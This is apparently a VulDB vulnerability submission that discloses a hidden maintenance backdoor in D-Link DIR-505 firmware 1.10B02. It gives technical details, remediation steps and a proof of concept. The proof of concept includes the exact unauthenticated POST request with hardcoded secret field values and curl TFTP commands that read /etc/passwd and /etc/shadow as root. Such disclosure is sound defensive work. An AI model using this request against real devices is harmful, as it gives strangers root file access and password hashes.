Submit #1025351: D-Link DIR-505 1.10B02 Backdoor

Summary:
D-Link DIR-505 A1 firmware 1.10B02 contains a hidden maintenance backdoor in its web management CGI (www/my_cgi.cgi). A POST request to the secret route /secmark1524.cgi carrying exactly five hardcoded form fields bypasses the normal authentication logic and instructs the system service manager (runtime signal 44) to start an unauthenticated TFTP daemon running as root. A remote attacker can subsequently read arbitrary files from the device, including /etc/shadow, without any credentials.

Technical details:
- The lighttpd configuration (mnt/lighttpd/conf.d/cgi.conf) explicitly registers the hidden alias: "/secmark1524.cgi" => "/www/my_cgi.cgi".
- In main() of my_cgi.cgi, when the request body contains exactly 5 form entries AND the CGI variable SCRIPT_NAME equals "/secmark1524.cgi", the complete authentication check (update_login_time) and the normal request processing are skipped.
- The five entries are validated against hardcoded values: accu=mp1524, pass=kmark43, code=smpwdc, hash=/lJ9NwfO3rRGcAkzv49mmA1, cmds=dGZ0cGQ= (base64 encoding of "tftpd").
- On success the process calls check_tftpd() and, if the TFTP daemon is not already running, sends signal 44 to /var/run/system_manager.pid. The system manager then starts the vendor TFTP daemon /usr/bin/tftpd as root on UDP port 69 with working directory "/" and writes /www/tftpd_ready.txt with content "tftpd_ready=1". The HTTP response is: <?xml version="1.0"?><root><result>ok</result></root>
- All received field names/values and the backdoor progress are echoed to /dev/console (serial console), consistent with an intentional vendor debug/maintenance facility left in production firmware.

Proof of concept (no authentication):
POST /secmark1524.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 79

accu=mp1524&pass=kmark43&code=smpwdc&hash=/lJ9NwfO3rRGcAkzv49mmA1&cmds=dGZ0cGQ=

Then, over TFTP (UDP/69, served as root):
curl -s tftp://<device>/etc/passwd
curl -s tftp://<device>/etc/shadow

Impact:
The unauthenticated attacker can (1) enable an unauthenticated root TFTP service, and (2) read arbitrary files: /etc/passwd, /etc/shadow (administrator password hash, enabling offline cracking and subsequent admin login), /etc/hosts, /proc/version and firmware binaries. A byte-exact download of the device's web CGI (328,044 bytes, MD5 324dd43941dc39b83750ed90b3333e27) was verified over TFTP. The vendor TFTP upload path (libputil mp_upload_file / execute_smac_cmds) is under further analysis and may allow configuration changes or command execution.

Affected product:
- D-Link DIR-505 A1 firmware 1.10B02 (DIR-505_A1_FW110B02.bin, MD5 cd13a30e3f971c23eace3ae94380f28b) - affected.
- Firmware 1.06 of the same product does not contain this code (binary diff); the backdoor was introduced with the 1.10 codebase.

Classification:
CWE-912 (Hidden Functionality), CWE-306 (Missing Authentication for Critical Function), CWE-489 (Active Debug Code), CWE-200 (Exposure of Sensitive Information).
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5 High).

Verification:
Reproduced in a full-system emulation (FirmAE, Linux 4.1.17 MIPS, ASLR enabled) and confirmed via a user-mode QEMU syscall trace. Evidence includes the trigger response, the tftpd process running as root, and downloaded /etc/passwd and /etc/shadow. Note on attack requirements: triggering requires reachability of the web management service (default TCP/80); file exfiltration additionally requires UDP/69 reachability (same LAN or port forwarding).

Remediation:
Remove the "/secmark1524.cgi" alias and the hidden verification branch from my_cgi.cgi; delete the hardcoded values from the firmware; remove the debug output to /dev/console; restrict TFTP daemon startup to authenticated maintenance workflows.

• Source: ⚠️ https://github.com/Walnut1337/DIR-505_backdoor/tree/main/poc
• User: Walnut1337 (UID 100856)
• Submission: 10/12/2026 10:57 (17 days ago)
• Moderation: 10/28/2026 16:56 (16 days later)
• Status: Accepted
• VulDB entry: 428018 [D-Link DIR-505 1.10B02 Web Management CGI /secmark1524.cgi main accu/pass/code/hash/cmds backdoor]
• Points: 20